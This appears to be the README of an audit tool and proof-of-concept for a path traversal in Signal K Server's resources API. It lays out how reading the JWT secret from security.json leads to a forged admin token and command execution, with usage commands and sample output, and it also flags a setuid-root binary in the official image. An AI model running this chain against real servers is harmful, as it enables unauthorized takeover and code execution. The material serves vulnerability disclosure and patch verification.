
Signal K Server resources API path traversal audit (CVE-2026-123807): read JWT secret, forge admin token, verify RCE
Audit tool and PoC for path traversal in the Signal K Server resource interface.
GET /signalk/v2/api/resources/:resourceType/:resourceId splices resourceId verbatim into the file path; four levels of ..%2F are enough to climb from the resources directory back to the config root and read <config>/security.json. This file contains the JWT signing key; once obtained, you can sign an admin token, then create an Execute-type provider, and commands run as node inside the container.
allow_readonly=true; under the default configuration, a token for any read-only account is required| File | Purpose |
|---|---|
signalk-audit.py | Audit tool. Enumerates five resource types × six levels of depth, judging by whether secretKey appears in the response |
sk_poc.py | PoC. Read key → sign admin token → create Execute provider → execute command |
sk-history.sh | Compares the build layers of the official image to confirm whether the chmod u+s layer is a reused old layer |
python3 signalk-audit.py -u http://127.0.0.1:3000
python3 signalk-audit.py -u http://127.0.0.1:3000 --token <read-only JWT>
python3 signalk-audit.py -u http://127.0.0.1:3000 --token <read-only JWT> --exploit --cmd "id"
python3 sk_poc.py # instance with allow_readonly=true, anonymous key read
SK_USER=<read-only account> SK_PASS=<password> python3 sk_poc.py <URL> # default config, log in first then read
--exploit proceeds to the two steps of forging a token and creating a provider; it is disabled by default. The traversal step of sk_poc.py
is blocked by 401 under the default config; provide a set of read-only credentials (or directly provide SK_TOKEN) to proceed.
Example output (v2.33.0, with a read-only account token):
[*] Target http://127.0.0.1:13000 version 2.33.0 (HTTP 200)
[*] loginStatus: HTTP 200 authenticationRequired=True readOnlyAccess=False userLevel=readonly
[+] notes depth 4 hit, secretKey length 512
[+] routes depth 4 hit, secretKey length 512
[+] waypoints depth 4 hit, secretKey length 512
[+] regions depth 4 hit, secretKey length 512
[+] charts depth 4 hit, secretKey length 512
Fixed version (v2.37.0, anonymous):
[*] Target http://127.0.0.1:13001 version 2.37.0 (HTTP 200)
[*] loginStatus: HTTP 200 authenticationRequired=True readOnlyAccess=True userLevel=None
[ok] None of the five resource types escaped the directory at 6 levels of depth. Version 2.37.0 is very likely fixed.
Exit codes: 0 vulnerable, 1 fixed or undeterminable because blocked by authentication (the output states which), 2 invalid arguments.
Check whether the response contains a secretKey field; do not rely on the status code.
Status codes vary due to authentication, routing, and whether a provider is registered: 200 may just be an empty object, 401 may just mean no credentials were supplied, and 404 may mean this resource type has no provider at all. Looking only at 200 would misjudge the 404 for widgets as safe.
By default only GET requests are sent; no files are written, no files are deleted, and no password brute-forcing is performed. --exploit must be given explicitly.
The PoC run inside the container yields uid=1000(node). In the image, node is in the docker group, but /var/run/docker.sock is not mounted, so host root cannot be obtained.
Another independent issue: the official image sets /usr/bin/date to setuid root, so any plugin can read files inside the container that only root can read, and under a privileged + -v /dev:/dev deployment it can even read host block devices. The advisory says 2.37.0 fixed it, but the released image reused the old base layer; docker history shows that the chmod u+s layer has the same timestamp as in 2.36.0. sk-history.sh is for checking this.
For use only on environments you set up yourself and on authorized tests. The author is not responsible for any consequences caused by using this tool.